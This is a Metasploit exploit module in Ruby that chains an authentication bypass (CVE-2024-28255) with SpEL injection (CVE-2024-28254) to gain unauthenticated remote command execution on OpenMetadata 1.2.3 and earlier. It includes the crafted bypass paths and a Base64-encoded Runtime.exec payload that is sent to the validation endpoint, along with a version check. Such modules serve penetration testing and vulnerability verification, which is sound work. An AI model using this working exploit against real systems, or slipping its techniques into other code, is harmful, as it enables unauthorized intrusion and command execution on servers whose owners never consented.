OpenMetadata 1.2.3 Authentication Bypass / SpEL Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(      update_info(        info,        'Name' => 'OpenMetadata authentication bypass and SpEL injection exploit chain',        'Description' => %q{          OpenMetadata is a unified platform for discovery, observability, and governance powered          by a central metadata repository, in-depth lineage, and seamless team collaboration.          This module chains two vulnerabilities that exist in the OpenMetadata aplication.          The first vulnerability, CVE-2024-28255, bypasses the API authentication using JWT tokens.          It misuses the `JwtFilter` that checks the path of the url endpoint against a list of excluded          endpoints that does not require authentication. Unfortunately, an attacker may use Path Parameters          to make any path contain any arbitrary strings that will match the excluded endpoint condition          and therefore will be processed with no JWT validation allowing an attacker to bypass the          authentication mechanism and reach any arbitrary endpoint.          By chaining this vulnerability with CVE-2024-28254, that allows for arbitrary SpEL injection          at endpoint `/api/v1/events/subscriptions/validation/condition/<expression>`, attackers          are able to run arbitrary commands using Java classes such as `java.lang.Runtime` without any          authentication.          OpenMetadata versions `1.2.3` and below are vulnerable.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor          'Alvaro Muñoz alias pwntester (https://github.com/pwntester)' # Original discovery        ],        'References' => [          ['CVE', '2024-28255'],          ['CVE', '2024-28254'],          ['URL', 'https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/'],          ['URL', 'https://attackerkb.com/topics/f19fXpZn62/cve-2024-28255'],          ['URL', 'https://ethicalhacking.uk/unmasking-cve-2024-28255-authentication-bypass-in-openmetadata/']        ],        'DisclosureDate' => '2024-03-15',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD],        'Privileged' => false,        'Targets' => [          [            'Automatic',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'rport' => 8585,          'FETCH_COMMAND' => 'WGET'        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'The URI path of the OpenMetadata web application', '/'])      ]    )  end  def execute_command(cmd, _opts = {})    # list of paths that require no authentication    unauthed_paths = [      '/api/v1;v1%2Fv1%2Fusers%2Flogin',      '/api/v1;v1%2Fv1%2Fusers%2Fsignup',      '/api/v1;v1%2Fv1%2Fusers%2FregistrationConfirmation',      '/api/v1;v1%2Fv1%2Fusers%2FresendRegistrationToken',      '/api/v1;v1%2Fv1%2Fusers%2FgeneratePasswordResetLink',      '/api/v1;v1%2Fv1%2Fusers%2Fpassword%2Freset',      '/api/v1;v1%2Fv1%2Fusers%2FcheckEmailInUse',      '/api/v1;v1%2Fv1%2Fusers%2Frefresh',      '/api/v1;v1%2Fv1%2Fsystem%2Fconfig',      '/api/v1;v1%2Fv1%2Fsystem%2Fversion'    ]    # $@|sh – Getting a shell environment from Runtime.exec    cmd = "sh -c $@|sh . echo #{cmd}"    cmd_b64 = Base64.strict_encode64(cmd)    spel_payload = "T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(\"#{cmd_b64}\")))"    unauthed_paths.shuffle!.each do |path|      res = send_request_cgi({        'uri' => normalize_uri(target_uri.path, path, 'events', 'subscriptions', 'validation', 'condition', spel_payload),        'method' => 'GET'      })      break if res.code == 400 && res.body.include?('EL1001E')    end  end  def check    print_status('Trying to detect if target is running a vulnerable version of OpenMetadata.')    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path),      'method' => 'GET'    })    return CheckCode::Unknown('Could not detect OpenMetadata.') unless res && res.code == 200 && res.body.include?('OpenMetadata')    # try to dectect version    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'system', 'version'),      'method' => 'GET'    })    return CheckCode::Detected('Could not retrieve the version information.') unless res && res.code == 200    # parse json response and get the version    res_json = res.get_json_document    unless res_json.blank?      version = res_json['version']      version_number = Rex::Version.new(version.gsub(/[[:space:]]/, '')) unless version.nil?    end    return CheckCode::Detected('Could not retrieve the version information.') if version_number.nil?    return CheckCode::Appears("Version #{version_number}") if version_number <= Rex::Version.new('1.2.3')    CheckCode::Safe("Version #{version_number}")  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    execute_command(payload.encoded)  endend